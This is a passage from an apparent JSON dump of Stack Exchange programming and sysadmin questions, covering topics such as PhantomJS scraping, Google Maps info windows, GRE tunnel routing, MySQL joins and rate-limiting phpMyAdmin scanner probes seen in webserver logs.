the site using perl and mechanize, but I'm missing the customer comments on the
page as they are loaded through ajax. I have looked at phantomjs and can get the
pages to save to an image using an example page, however, I'd like to get an full
page html dump of the page, but can't figure out how. I used this example code on
our site\n\nIs there a way using phantomjs that I can just get a full page dump of
the data, similar to if I did a view source in chrome? I can do this with perl +
mechanize, but don't see how to do this using phantomjs.\n", "var page = new
WebPage();\n\npage.open('http://espn.go.com/nfl/', function (status) {\n//once page
loaded, include jQuery from
cdn\npage.includeJs(\"http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/
jquery.min.js\", function() {\n//once jQuery loaded, run some code\n//inserts our
custom text into the page\npage.evaluate(function(){$(\"h2\").html('Many NFL
Players Scared that Chad Moon Will Enter League');});\n//take screenshot and exit\
npage.render('espn.png');\nphantom.exit();\n\n});\n\n});\n", "javascript html web-
scraping phantomjs"], "2757936": ["SmartGwt drag and drop on tree component", "I'm
trying to move nodes form a tree to another and be able to reparent nodes and so
on.\nIn order to get the track the drop event on a node in a tree I have registered
a FolderDropHandler pn the tree:\n\nThis works fine, I'm notified when nodes are
dropped on other nodes, but I am not notified when I drop on the root node (or an
empty tree with just the root node). How can i handle this case? any ideas?\
nThanks.\n", "tree.addFolderDropHandler(new FolderDropHandler() {\n
@Override\n public void onFolderDrop(FolderDropEvent folderDropEvent) {\
n TreeNode parentFolder = folderDropEvent.getFolder();\n
TreeNode droppedItem = folderDropEvent.getNodes()[0];\n\n }\
n });\n", "gwt tree drag smartgwt drop"], "2732200": ["Google maps info
window give same result on different markers", "Have following problem, the
infowindow, gives the same result on different markers.\nWhen I debug outside
geocoder.geocode function it shows the right info, but inside always the same
(first one). the suppid part is when i debug the i variable inside it shows the
correct value.\n\n", "var optionMap = {\n zoom: 16,\n
MapTypeId: google.maps.MapTypeId.ROADMAP,\n panControl: false,\n
zoomControl: false,\n mapTypeControl: false,\n scaleControl:
false,\n streetViewControl: false,\n overviewMapControl:
false\n };\n\n var map = new
google.maps.Map(document.getElementById('map'), optionMap);\n\n var geocoder
= new google.maps.Geocoder();\n\n var latlngbounds = new
google.maps.LatLngBounds();\n\n var icon = new
google.maps.MarkerImage('images/gm_pin.png',\n new google.maps.Size(20,
34),\n new google.maps.Point(0,0),\n new google.maps.Point(10, 34));\
n\n for(var i = 0; i < arrAddress.length; i++) {\n\n var address
= arrAddress[i];\n\n var html_title = \"<div class='info'><h4>\" +
address + \"</h4></div>\";\n\n geocoder.geocode({\n
'address': address\n }, function (results, status) {\n\n
if(status == google.maps.GeocoderStatus.OK) {\n\n\n var marker =
new google.maps.Marker({\n map: map,\n
icon: icon,\n html: html_title, \n
position: results[0].geometry.location\n });\n\n
var contentString = '';\n\n var infoWindow = new
google.maps.InfoWindow({\n content: contentString\n\n
});\n\n google.maps.event.addListener(marker, 'mouseover',
function() { \n infoWindow.setContent(this.html);\n
infoWindow.open(map, this);\n });\n\n
google.maps.event.addListener(marker, 'mouseout', function() { \n
infoWindow.close(map, this);\n });\n\n
latlngbounds.extend(results[0].geometry.location);\n\n if(i ==
arrAddress.length) {\n map.fitBounds(latlngbounds);\n
}\n\n google.maps.event.trigger(map, 'resize')\
n }\n });\n }\n", "javascript google-maps-api-3"],
"5345477": ["Jquery - using toggle() but disable it until the animations are done",
"i am using the jquery toggle function like this:\n\nNow when I call the toggle
effect by clicking very often the animations of the two functions don't wait for
the other to finish. So I would like to disable the toggle effects undtil the stuff
in each function is finished. So when the first function is called by the toggle
the second one should not be called by another click on the .class element. And the
other way round\nAny idea how i could do that?\nThanks in advance,\nPhil\n", "$
(\".class\").toggle(\n function() {\n //things to do... animations and so on\
n },\n function(){\n // other things to do...\n }\n);", "javascript jquery
animation toggle effects"], "4835567": ["server 2008 to 2003 slow filetransfer
using cifs", "I just tried copying a file over cifs (windows file sharing) between
a server 2003 R2 and a new server 2008 SP1 and I'm getting horrible speed.\nit's a
300MB file that is taking around 30 minutes to transfer. I'm getting around 1-
2Mbit/s and this is on a local switch.\nI have tried initiating the transfer from
both servers with the same results.\nCopying from the 2003 to another 2003 is less
than 1 min, so it's obviously something with the 2008-server.\nAn even weirder
behaviour is that if I simultaneously copy another file from the 2003 server to
another 2003 server, the transfer rate from the 2008 server increases drastically
(like 10x times, but still slow though).\nOver RDP-drivesharing I get full VPN-
speed, approx 20Mbit. No other services seem to be suffering from any latency.\nI
have seen post about tcp offloading causing trouble in win2008, could it be
related? \n", "", "windows-server-2003 windows-server-2008 file-transfer cifs"],
"3969444": ["Is Google's Page Speed not working fine?", "I've been making small
improvements to a public ASP.NET site that I have and have ran it through Google's
online Page Speed several times. I have a specific problem, but something that
really threw me off was that even if I didn't make any changes and just kept
running it time after time (5 minutes intervals) I'd keep getting different scores
by +-1 or 2 points. That is just weird in itself. Anyways,\nThe only medium
priority item that I have left is that PageSpeed says that some of the images do
not have an expiration date (or have the expiration date in a very near feature),
which I cannot see how it's possible, since they are static resources (images), and
I setup the expires to 60 days after the initial request. It's not even a week from
now, and they are in the exact same location that the rest of my images are (and
about 95% of them are not being marked as not having an expiration date)\nSo, how
could it be that for Page SPeed, some of my images have an expiration date and
others dont?\nI also ran HttpWatch against my site, and I analyze the specific
request of one of those images, and it does have the max-age=5184000 header.\nany
ideas are greatly appreciated. Thanks.\n", "", "asp.net optimization http-
response"], "3037478": ["Android ActionBarSherlock - How can I change a theme for
API <3.0 and the same on API >=3.0", "I did a new theme on my app, that the parent
is Theme.Sherlock.Light. On devices with API <3.0 the changes are working, but when
the app is running on devices >=3.0 (in this case is 4.0.3) my new Style isn't
working, still using the original Theme.Sherlock.Light.\nHow can I make an xml
style that affects the style in a device with API <3.0 and the same on the devices
>=3.0?\n", "", "android styles actionbarsherlock"], "2169272": ["How to reload a
module's function in Python?", "Following up on this question regarding reloading a
module, how do I reload a specific function from a changed module?\npseudo-code:\n\
n", "from foo import bar\n\nif foo.py has changed:\n reload bar\n", "python
methods import reload"], "1956632": ["Google Chrome on Mac OS X: How to send mailto
links to Google Apps Gmail?", "I was able to get mailto links in Firefox to open up
my Google Apps account email, but I can't figure out how to do it in Google Chrome.
I have searched for a solution but all the results are outdated and don't seem to
work on Mac OS X. How can I set up Google Chrome to send mailto links to my hosted
Google Apps email on Mac OS X Snow Leopard?\n", "", "osx-snow-leopard google-chrome
gmail google-apps"], "167956": ["Cannot install Wine in Linux Mint", "I installed
Linux Mint Maya Xfce. When I tried to install Wine, it gets stuck and no progress
is made beyond 83% installed.\nI used the Software Manager. I have tried using the
command line as advised here above, but it still no joy.\nCan anyone explain why
this is happening?\n", "", "linux linux-mint wine"], "5261270": ["Awful background
image quality in Android", "I'm trying to place a background in my activity, but
the image quality is not the expected.\nThe image has a simple gradient above blue
stripes, and currently looks like this:\n\nMy activity layout:\n \n\nThe
background descriptor ():\n\nCurrently I have an XML file describing a
BitmapDrawable, which is the actitivy's LinearLayout background. But I've tried
everything I found so far. Enabled dither, antialias,
tile, RGBA_8888 modes... You name it. Does anyone have a different solution or
idea I could try? I'd be very grateful.\nBtw, I'm currently developing the app in a
Galaxy S II.\n", "<LinearLayout
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:layout_width=\"fill_parent\"\n android:layout_height=\"fill_parent\"\n
android:orientation=\"vertical\"\n
android:background=\"@drawable/background_register\"\n
android:drawingCacheQuality=\"high\" >\n</LinearLayout>\n", "android image
background gradient quality"], "892780": ["reading HttpwebResponse json response,
C#", "In one of my apps, I am getting the response from a webrequest. the service
is Restful service and will retun a result like below json format;\n{\n \"id\" :
\"1lad07\",\n \"text\" : \"test\",\n \"url\" :
\"http:\\/\\/twitpic.com\\/1lacuz\",\n \"width\" : 220,\n \"height\" : 84,\n
\"size\" : 8722,\n \"type\" : \"png\",\n \"timestamp\" : \"Wed, 05 May 2010
16:11:48 +0000\",\n \"user\" : {\n \"id\" : 12345,\
n \"screen_name\" : \"twitpicuser\"\n }\n} \nand here is what I
accomplish so far;\n\nSo how can I read the response here. I am I wanna get url and
user's screen name here. thanks !\n", " byte[] bytes =
Encoding.GetEncoding(contentEncoding).GetBytes(contents.ToString());\n
request.ContentLength = bytes.Length;\n\n using (var requestStream =
request.GetRequestStream()) {\n\n requestStream.Write(bytes, 0,
bytes.Length);\n\n using (var twitpicResponse =
(HttpWebResponse)request.GetResponse()) {\n\n using (var reader = new
StreamReader(twitpicResponse.GetResponseStream())) {\n\n //What
should I do here?\n\n }\n\n }\n\n }\n", "c# json rest
httpwebrequest httpwebresponse"], "3943568": ["Calling controller from view,
passing input text fields", "I have two text inputs, content of which needs to be
passed to a certain action as parameters when a button is clicked. I'm using MVC3\
nView:\n\nController:\n public ActionResult Search(...)\nI suppose the object
routeValues or RouteValueDictionary should be used in the @Html.Action for this.
These object are confusing for me a bit. Could anyone clarify this for me please.
Thank you! \n", "<input name=\"input2\" type=\"text\" class=\"inputfield\"
id=\"datepicker_1\" /></td>\n<input name=\"input2\" type=\"text\"
class=\"inputfield\" id=\"datepicker_2\" /></td>\n\[email protected](\"Search\", ...)\
n", "mvc asp.net-mvc-3 controller"], "4920515": ["Port forwarding using ASDM 6.0",
"Hey guys, I'm not too savvy with ASDM and it has been quite some time since I have
done anything IOS so forgive me.\nI am trying to forward port 3389 from 'any' on
'outside' (1.1.1.1) to an internal server (10.10.10.10). Can anybody give me the
steps to do this using ASDM or IOS.\nThanks,\n-Jason\n", "", "cisco port-
forwarding"], "2208917": ["Shell script or command to Strip text and Binary files
excerpts from large Log Files", "I need to remove a large binary file (PDF file)
from a large log file which is generated daily.This is seriously hogging space on
our servers.I need to remove the large PDF from the logs to make the logs smaller
and manageable\nI need to take out the texts (or binary file) between the strings\
n\n and \n and \n and \n and \n\nI am not sure whether the sed utility can do this,
these are large files and need to be pruned. I am not seeking log rotation advice,
just a script or command that can strip these large logs of texts between the
characters above. I am not sure how to do this. These files are rather large. I am
not sure how to achieve this with sed , tail, head , tr or any other facility.\n",
"<my:PDF>", "text-processing logs xml"], "2135517": ["Do you need to update or
patch the kernel for security", "I used to use ASL for my server protection. This
is an overall security suite for your server. One of the things it did is update or
patch the kernel.\nI do not use it anymore, should I manually update or patch my
the kernel. If so how do I do this, what are the best recources.\nI'm on CentOS
5.4\n", "", "linux security kernel"], "2955669": ["Flash 9 full-screen addChild
error", "I am having issues with Flash 9 player while in full-screen mode. In my
case addChild method of DisplayObject behavior is wired while \"Press Esc to exit
full screen mode\" is shown. There are no problem in normal stage mode or
after \"Press Esc..\" message fades out. Flash 10 player does not have this
problem.\n\n\nI am trying to create new button and add it to body VBox using
addChild method and getting runtime error on next Flex display validation when
debugger is attached; without debugger full screen just exits and application left
in unusable state (mouse is not working). This occurs when you press Add button
when \"Esc\" message is displayed. \nWhen error occurs debugger shows that child is
mx.skins.halo.HaloBorder. In case without error child is mx.controls.Button.\
nError:\n\nAnyone have an idea how to workaround this issue or why does it
happens?\n", "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<mx:Application
xmlns:mx=\"http://www.adobe.com/2006/mxml\" layout=\"vertical\" minWidth=\"955\"
minHeight=\"600\">\n\n <mx:Script>\n <![CDATA[\n\n\n protected
function fullScreenButton_clickHandler(event:MouseEvent):void\n {\n
stage.displayState = StageDisplayState.FULL_SCREEN;\n }\n
protected function addButton_clickHandler(event:MouseEvent):void\n {\n
var b:Button = new Button();\n b.label=\"Button\" + b.uid;;\n
body.addChildAt(b,0);\n var child:DisplayObject =
body.getChildAt(0);\n trace(child);\n }\n\n ]]>\n
</mx:Script>\n <mx:VBox>\n <mx:Button id=\"fullScreenButton\"
label=\"Full screen\" click=\"fullScreenButton_clickHandler(event)\"/>\n
<mx:Button id=\"addButton\" label=\"Add\" click=\"addButton_clickHandler(event)\"/>
\n </mx:VBox>\n\n <mx:VBox backgroundColor=\"#ffffff\" id=\"body\">\n
</mx:VBox>\n", "flash flex fullscreen addchild"], "5216265": ["mysql/web server
failover setup using reverse proxy", "I have two webservers and at the moment have
DNS - Round Robin setup so that they are somewhat 'failsafe' this was only ever a
temporary failover solution and I am now looking at a more permanent and reliable
solution. I have been looking into reverse proxy's, but I am wondering how to
integrate mysql with this. I guess my question is: What would be the best setup to
implement this? \nSolution one:\nTwo reverse proxy servers (for reverse proxy
failover) serving from the two webservers (for webhost failover) and having mysql
setup on the two reverse proxy servers.\nSolution two:\nTwo reverse proxy servers
(for reverse proxy failover) serving from the two webservers (for webhost failover)
and having mysql setup on the two web servers\nAnother way?\nI should mention that
the amount of webservers can increase or decrease at any time so having the mysql
servers on the reverse proxy's would be better for replication, than trying to
juggle replication around multiple servers. \nAny help would be greatly
appreciated.\n", "", "mysql webserver reverse-proxy failover"], "4371194": ["How
would I deserialize the string created below with ServiceStack.Text?", "Hi I am
trying to use the answer here\nby using ServiceStack.Text to deserialize but I
haven't been able to figure out the correct way to do this. Currently trying to do
this in DotNet 3.5.\nI am willing to consider answers using JSON.Net as long as I
can do it in dotnet 3.5.\n\n", "var formelements = { serializedformdata:
JSON.stringify($('#form').serializeArray()) };", "json.net servicestack"],
"2436171": ["Can you install Xcode 4 on Snow Leopard Server without technical
issues?", "Simply put, is it possible to run Xcode on Snow Leopard Server? I want
to know if there are any issues in doing so; not just in theory but with definitive
answers.\nI say that because half people I've ask just guess and say \"Isn't SL
Server just Snow Leopard with iLife taken out and 'server' stuff added in?\" while
others have said \"That's not actually the case, as a lot of the libraries needed
for client applications simply aren't there, plus the OS itself isn't properly
tuned to support client applications.\" \nAnd for those who say 'Just install it
and see'... I don't know about you, but setting up a new OS is time-consuming.\nAnd
running Server virtualized isn't really helpful as \n\nThere are known issues with
virtualizing SLS depending on which you use, VMware, Parallels or VirtualBox, \
nThat just means I'd be doing TWO full installs of the OS and Xcode... Once
virtualized, then again on the bare hardware.\n\n", "", "mac installation xcode
osx-server snow-leopard-server"], "48897": ["paypal express checkout ajax", "I have
a JQuery client that I want to be able to do a credit card transaction at PayPal
using Express Checkout. The client presents a form to the user in Jquery which
starts the transaction. Via AJAX, the client initiates the purchase to the server.
I execute a SetExpressCheckout to PayPal sandbox. I get the response token, create
a url with token and send back to the client.\nI want the interaction with PayPal
to occur on the client but, In order for that to happen the client has to open a
window to the url for the user to interact with PayPal in. At the end of that
interaction, the PayPal site redirects back to our server.\nHow can I get the
PayPal API to work in an AJAX flow? How can the client get control back from the
window it had to create to let the user interact with PayPal? Any ideas on how to
handle PayPal flow in an AJAX application?\n", "", "jquery ajax paypal"],
"3537881": ["Is there a way to release unmanaged resources when a
Go struct is collected?", "I have a pointer to a C type wrapped by a Go struct,
like so:\n\nThe C type, in turn, has the following functions:\n\nIs there a way
that I can ensure that is called whenever a instance is finalized?\n", "type
Wrapper struct {\n unmanaged *C.my_c_type\n}\n", "garbage-collection interop go
cgo"], "2179017": ["android service to modify the default browser html content",
"Is it possible to write a android service which will modify the search results in
the default android browser? If so is there any reference material to accomplish
that?\n", "", "android browser service"], "2197416": ["Refresh JPanel", "I need to
display different drawings on a JPanel. \nI have put the drawing files into an
array, but when I changed it using a button, the JPanel only displays first drawing
and doesn't change to the next drawing...\nI have called panel.revalidate(), but it
doesnt work.\nThis is the segment of the code that I used but not working.\nThe
JPanel display was static. \n\n", " String[] a =
{\"image1.txt\",\"image2.txt\",\"image3.txt\"};\n List<String> files =
Arrays.asList(a);\n\n\n public void actionPerformed(ActionEvent e) {\n if
(e.getSource() == answer1){\n fileNumber++;\n //call other class for painting
(files=array files, fileNumber=index of the array) \n draw = new
drawingPanel(files,fileNumber);\n panel.add(draw);\n }\n panel.revalidate();\n
panel.repaint();\n}\n", "java swing refresh jpanel"], "4174321": ["Regular
Expression WhiteSpace Character that Excludes Newline", "\nPossible Duplicate:\
nMatch whitespace but not newlines (Perl) \n\nI need to search for an expression,
using Perl style regex, in every line that matches certain pattern surrounded by an
arbitrary amount of space, tab, ff, etc (i.e. whitespace) characters. But I want
to limit this to 1 single line. My own program logic would advance to the next
line. If I use [\\s]* in my regex, it always matches the newline. This is
annoying. \nIs there anyway to force \\s to exclude newline (\\n and \\r)? I want
my code to be usable in ANSI and UNICODE file so I want to keep using standard meta
characters as much as possible rather than listing all possible whitespace
candidates (unicode has some addition characters counted as whitespace and I don't
want to know the details. \\s should cater for this automatically except it also
matches newline).\n", "", "regex whitespace"], "2746611": ["How to submit multiple
forms of same type with one button in symfony2", "I have the todolist where i
display three forms of task type\n\nNow the problem is i have one submit button
only . How can i persist these three tasks within one controller. and user can add
more forms dynamically as well.\nso what the way to solve this\n", "$task1 = new
Task();\n$form1 = $this->createForm(new MyForm('f1'), $task1);\n\n$task2 = new
Task('fo);\n$form2 = $this->createForm(new MyForm('f2'), $task2);\n\n$task3 = new
Task();\n$form3 = $this->createForm(new MyForm('f3'), $task3);\n", "symfony2
doctrine2"], "3920254": ["Existence of a normal computable infinite pseudorandom
sequence", "Is there any computable infinite pseudorandom sequence of 0's and 1's
which have been proven to be normal?\n", "", "real-analysis sequences-and-series
computer-science computability random"], "872968": ["How to force certain traffic
through GRE tunnel?", "Here's what I do.\nServer (public internet is 222.x.x.x): \
n\nClient (public internet is 115.x.x.x): \n\nUntil here, all seems going right.
But then 1st question, how to use GRE tunnel as a default route? Client computer is
still using 115.x.x.x interface as default.\n2nd question, how to force only ICMP
traffic to go through tunnel, and everything else go default interface? I try doing
this in client computer:\n\nBut after doing this, my ping program will timeout (if
I not doing 2 command above, and using ping instead, it will works). Later I want
to do something else also, like only UDP port 53 through tunnel, etc.\n3rd
question, in client computer, I force one mysql program to listen on gre1 interface
192.168.168.2. In client computer, there's also one more public interface (IP
114.x.x.x)... How to forward traffic properly using iptables and route so mysql
also respond a request coming from this 114.x.x.x public interface?\n", "echo
'net.ipv4.ip_forward=1' >> /etc/sysctl.conf \nsysctl -p \niptunnel add gre1 mode
gre local 222.x.x.x remote 115.x.x.x ttl 255 \nip add add 192.168.168.1/30 dev
gre1 \nip link set gre1 up \niptables -t nat -A POSTROUTING -s 192.168.168.0/30 -
j SNAT --to-source 222.x.x.x \niptables -t nat -A PREROUTING -d 222.x.x.x -j DNAT
--to-destination 192.168.168.2 \n", "networking routing tunnel gre"], "3085705":
["MySQL: How to Select All Results That Don't Match LEFT JOIN", "My SELECT
statement is essentially:\n\nHowever, I am trying to select only surveys that
haven't been answered. The 'response' table contains 4 relevant columns (user ID
[of user responding to survey], answer, question [same as survey ID if single
question, if multi, corresponds to question ID], and survey ID)\nI'm trying to
write an SQL statement that selects all surveys that don't have a response from an
arbitrary user ID ($_SESSION['userId'])... Tried going about this using various
LEFT JOIN as well as nested SELECT commands, but haven't been able to figure it
out.\nCan anyone shed some light on how to go about this?\n", "SELECT *, user.user,
response.survey FROM survey, user, response ORDER BY survey.added\n", "mysql sql
join left-join"], "5286759": ["How to build a simple nav system of custom post type
categories and its posts?", "I've been searching the web for a long time now, but
couldn't find a solid simple anwser to, what seems to be a basic question:\nI have
to output a list of custom post type categories and the posts of the first category
on index page. Each category of the list should link to its page, showing its
posts, and each post should go to the single page. \nI have a custom post type and
its custom taxonomy registered and it seems to work.\nThis is on functions.php:\n\
nBut the linking-to-which-template part isn't clear.\nThis is on index.php:\n\
nGuess I don't need two queries to do this but I couldn't figure how to merge
them.\nThan I have a page to which I associate a template with the same code above,
but the links don't work.\nAny thoughts? Thank you in advance.\n", "<?php\nfunction
my_custom_post_empreendimento() {\n$labels = array(\n 'name' =>
_x( 'Empreendimentos', 'post type general name' ),\n 'singular_name' => _x(
'Empreendimento', 'post type singular name' ),\n 'add_new' =>
_x( 'Add New', 'book' ),\n 'add_new_item' => __( 'Add New
Empreendimento' ),\n 'edit_item' => __( 'Edit Empreendimento' ),\n
'new_item' => __( 'New Empreendimento' ),\n 'all_items' =>
__( 'All Empreendimentos' ),\n 'view_item' => __( 'View Empreendimento'
),\n 'search_items' => __( 'Search Empreendimentos' ),\n 'not_found'
=> __( 'No empreendimentos found' ),\n 'not_found_in_trash' => __( 'No
empreendimentos found in the Trash' ), \n 'parent_item_colon' => '',\n
'menu_name' => 'Empreendimentos'\n);\n$args = array(\n 'labels'
=> $labels,\n 'description' => 'Holds our empreendimentos specific data',\n
'public' => true,\n 'menu_position' => 5,\n 'supports' =>
array( 'title', 'editor', 'thumbnail', 'custom-fields' ),\n 'has_archive' =>
true,\n 'publicly_queryable' => true,\n 'show_ui' => true,\n 'can_export'
=> true\n);\nregister_post_type( 'empreendimento', $args ); \n}\
nadd_action( 'init', 'my_custom_post_empreendimento' );\n\nfunction
my_taxonomies_empreendimento() {\n$labels = array(\n 'name' =>
_x( 'Empreendimento Categories', 'taxonomy general name' ),\n 'singular_name'
=> _x( 'Empreendimento Category', 'taxonomy singular name' ),\n 'search_items'
=> __( 'Search Empreendimento Categories' ),\n 'all_items' => __( 'All
Empreendimento Categories' ),\n 'parent_item' => __( 'Parent
Empreendimento Category' ),\n 'parent_item_colon' => __( 'Parent Empreendimento
Category:' ),\n 'edit_item' => __( 'Edit Empreendimento Category' ), \n
'update_item' => __( 'Update Empreendimento Category' ),\n 'add_new_item'
=> __( 'Add New Empreendimento Category' ),\n 'new_item_name' => __( 'New
Empreendimento Category' ),\n 'menu_name' => __( 'Empreendimento
Categories' )\n);\n$args = array(\n 'labels' => $labels,\n 'hierarchical' =>
true,\n 'label' => 'Empreendimentos', \n 'query_var' => true, \n
'rewrite' => array('slug' => 'empreendimentos')\n);\
nregister_taxonomy( 'empreendimento_category', 'empreendimento', $args );\n}\
nadd_action( 'init', 'my_taxonomies_empreendimento', 0 );\n?>\n", "categories
customization post-type"], "2800978": ["instance method of class for iphone", "i
want to create some header file for future use but i have 1 problem\ni have defined
a method in lets say Rimage class called check1\nnow i want to call that from
maiviewcont \nso i did this\nin mainVC.h\ni defined a instance of Rimage class\n\
nand in .m\n\nbut both are not working\ni went for both +(void)check1 and -
(void)check1 in Rimage class\n", "#import <UIKit/UIKit.h>\n@class Rimage;\
n@interface Rahul_imageplaceCordinatesViewController : UIViewController {\n\n
Rimage *aRimage;\n}\n@property (nonatomic,copy) Rimage *aRimage;\n@end\n",
"iphone"], "5784412": ["php echo vs open&close tag", "Just to clarify: The
issues \"echo vs print\" and \"double quotes vs single quotes\" are perfectly
understood, this is about another thing:\nAre there any reasons why one would
prefer:\n\nover:\n\nwould either one execute/parse faster? is more elegant? (etc.)\
nI tend
to use the second option, but I'm worried I might be overlooking something
obvious/essential. \n", "echo '<table>'; \nforeach($lotsofrows as $row)\n{\n
echo '<tr><td>',$row['id'],'</td></tr>'; \n}\necho '<table>';\n", "php tags
echo"], "4820845": ["Size of value affecting computation time?", "Say I have a Java
program such:\n\nThose two cases should have the exact same execution time and
overhead shouldn't they? The actual operation is performed on every bit in the Long
right, regardless of the value contained within it, right?\nIf my assumption is
true,is there any language where this is NOT the case?\nEDIT: The case that
prompted this is a 16 bit PIC we are using at work ( C code), that calculates
averages over a variable amount of time. After the answers below from M S and
Thom, I now understand that it IS possible to introduce a bug this way, since the
PIC is computing mission critical information, on a time-sensitive basis.\nThank
you all very much.\n", "//case1\nLong first = 1;\nLong second = 1;\nLong third =
first - second;\n\n//case2\nLong first = Long.MAX_VALUE;\nLong second = 100000L;\
nLong third = first - second;\n", "java programming-languages integer
theoretical"], "1492513": ["SQL Server 2008 and VMWare Workstation", "I have my SQL
Server 2008 installed on Windows 7 machine.\nCan I connect to the server from
Windows XP SP3 using VMWare Workstation or this in incompatible?\nThe server is
configured correctly: allow remote connection, TCP/IP...\nthank you.\n", "", "sql-
server-2008 remote-access vmware-workstation"], "5922407": ["What's the fastest
Perl IPC/message queue for a single machine?", "I'm working on a (primarily) Perl
project and want to use a message queue to isolate processes from each other. I
have a work flow like this:\nInput -> Receiver -> Processor(s) -> Output(s)\nI need
to handle several hundred transactions/second, so speed my biggest motivator. What
is the fastest message queue system for this type of setup?\nAll of my processes
run on the same machine, so I can use UNIX sockets or temp-files if it means better
performance.\nSo far my two favorites are IPC::Dirqueue and beanstalkd. Anyone have
experience with both and can make conclusions about which is faster?\nWhat else is
out there that would make a super-fast work queue on a single machine?\n", "",
"perl queue ipc message"], "2454213": ["what should be limit to use for IPTABLE
rate limiting for a webserver", "I see on my webserver some logs as follows \n\
nand some more as follows \n\nI have 2 questions\n 1) When such an attack happens
on my site then while such scanning is going on how do I detect it? (In a very less
time)\n2)I have decided to rate limit the IPTABLES so as to reduce such DOS attacks
by some script kiddies (to scan for vulnerabilities in phpmyadmin or some other
script) to some extent.So how much should it be limited so that genuine users do
not get kicked out.What is the best practise for question 2?\n", "203.252.157.98 -
:25:02 \"GET //phpmyadmin/ HTTP/1.1\" 404 393 \"-\" \"Made by ZmEu @ WhiteHat
Team - www.whitehat.ro\"\n203.252.157.98 - :25:03 \"GET //phpMyAdmin/
HTTP/1.1\" 404 394 \"-\" \"Made by ZmEu @ WhiteHat Team - www.whitehat.ro\"\
n203.252.157.98 - :25:03 \"GET //pma/ HTTP/1.1\" 404 388 \"-\" \"Made by ZmEu
@ WhiteHat Team - www.whitehat.ro\"\n203.252.157.98 - :25:04 \"GET //dbadmin/
HTTP/1.1\" 404 391 \"-\" \"Made by ZmEu @ WhiteHat Team - www.whitehat.ro\"\
n203.252.157.98 - :25:05 \"GET //myadmin/ HTTP/1.1\" 404 391 \"-\" \"Made by
ZmEu @ WhiteHat Team - www.whitehat.ro\"\n203.252.157.98 - :25:06 \"GET
//phppgadmin/ HTTP/1.1\" 404 394 \"-\" \"Made by ZmEu @ WhiteHat Team -
www.whitehat.ro\"\n203.252.157.98 - :25:06 \"GET //PMA/ HTTP/1.1\" 404
389 \"-\" \"Made by ZmEu @ WhiteHat Team - www.whitehat.ro\"\n203.252.157.98
- :25:07 \"GET //admin/ HTTP/1.1\" 404 389 \"-\" \"Made by ZmEu @ WhiteHat
Team - www.whitehat.ro\"\n203.252.157.98 - :25:08 \"GET //MyAdmin/ HTTP/1.1\"
404 392 \"-\" \"Made by ZmEu @ WhiteHat Team - www.whitehat.ro\"\n203.252.157.98 -
:27:36 \"GET //phpmyadmin/ HTTP/1.1\" 404 393 \"-\" \"Made by ZmEu @ WhiteHat
Team - www.whitehat.ro\"\n203.252.157.98 - :27:42 \"GET //phpMyAdmin/
HTTP/1.1\" 404 394 \"-\" \"Made by ZmEu @ WhiteHat Team - www.whitehat.ro\"\
n203.252.157.98 - :27:42 \"GET //pma/ HTTP/1.1\" 404 388 \"-\" \"Made by ZmEu
@ WhiteHat Team - www.whitehat.ro\"\n203.252.157.98 - :27:43 \"GET //dbadmin/
HTTP/1.1\" 404 391 \"-\" \"Made by ZmEu @ WhiteHat Team - www.whitehat.ro\"\
n203.252.157.98 - - \"GET //myadmin/ HTTP/1.1\" 404 391 \"-\" \"Made by ZmEu @
WhiteHat Team - www.whitehat.ro\"\n", "webserver iptables linux denial-of-service
hardening"], "5087225": ["SQL Server - add foreign key relationship", "I have an
already existing database with tables. I added foreign key relationships (because
they were referring data from another table, just that relationship was not
explicit in the way tables were created) for one of the tables.\nHow does this
change impact the existing database? Does the database engine have to do some extra
work on existing data in the database? Can this change be a \"breaking change\" if
you already have an application that uses the current database schema?\n", "", "sql
sql-server-2005 sql-server-2008"], "2385149": ["refering to already existing group
in regex, c#", "I have a regex where\n\n%word% is defined as \nso i wrote\n\nIs
there any way i can shrink it using capturing groups?\n\nBut i don't think can be
used as it'd mean repeat the first capture, as i would not know what was captured
as it can be a quoted string or a word. \nAny thing similar i can use to refer
matching the previously written group. I'm working in C#.\n", "%word% can occur
multiple times, separated by a \"<\"\n", "c# regex shrink"], "2746617": ["MySQL
default character set", "Does MySQL treat the default character setting in a
cascading type of way?\nFor example, I'm looking at a script that generates the
full db and it starts off with a statement like this:\n\nso does that imply that
all tables that are created as part of this db will use the UTF8 charset by
default? And if I wanted to use a different charset for a given table I would
simply have to define it on the CREATE TABLE statement? Is that accurate? Can I
override on a specific field of a specific table too? thanks!\n", "CREATE SCHEMA IF
NOT EXISTS `xyz` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci ;\n", "mysql"],
"5439526": ["Ruby on Rails: partial view inheritance", "I want to get next
thing...\n\nOr maybe render with array option:\n\nThis isn't realized, is this?
But maybe some gems for 3.2 or monkeypatches... And don't you know pull requests to
about it? Thanks!\nUPD That's isn't controller-based view inheritance. This should
work for (at the same page):\n\n", " # For ArticlesController >
ApplicationController\n # in view\n render 'articles/edit/form'\n # tries
'app/views/articles/edit/_form.html.erb'\n # then tries
'app/views/articles/_form.html.erb'\n # then what it wants\n", "ruby-on-rails
inheritance partial-views"], "5296910": ["iMap, multiple devices, sync FILTERS, OS
X & iOS", "I've been googling for awhile and can't seem to find an
applications/apps that work the way I want them to. \nI have multiple IMAP email
accounts. I also use a large amount of filters, it is a pretty good bet that if an
email winds up in my inbox it is either junk or from a new contact. Emails that I
receive from my usual suspects are filter and moved to IMAP folders, emails from Ed
are in the Ed folder, emails from Sandy are in the Sandy folder. Folders are also
grouped within folders.\nApple's stock Mail.app handles this workflow fairly well,
however when I check with on my iPad, the rules are not (yet) applied. This makes
sense since Mail.app's rules are applied by Mail.app on my laptop, not on the
server. This could be solved if Mail.app and the Mail app would sync their rules,
the iPad could apply the rules. But they don't.\nI'm looking for an OS X
application and an iOS app that lets me have my email hierarchy the same on all
platforms. The app must also have the ability to keep copies for offline viewing. I
want my email archived on my hard drive, not just in the cloud somewhere.\nI'm
familiar with gmail's Labels. That may be the only solution but I'm not fond of it.
iCloud seems like it could work, someday, but the client is too simplistic.\n", "",
"email sync apple-mail"], "3095393": ["Facebook Like Button Dynamic Meta Tags
(jQuery)", "I'm trying to setup a Facebook like button within a modal and I'd like
the OG meta to be specific to each image inside the modal. In my script I first add
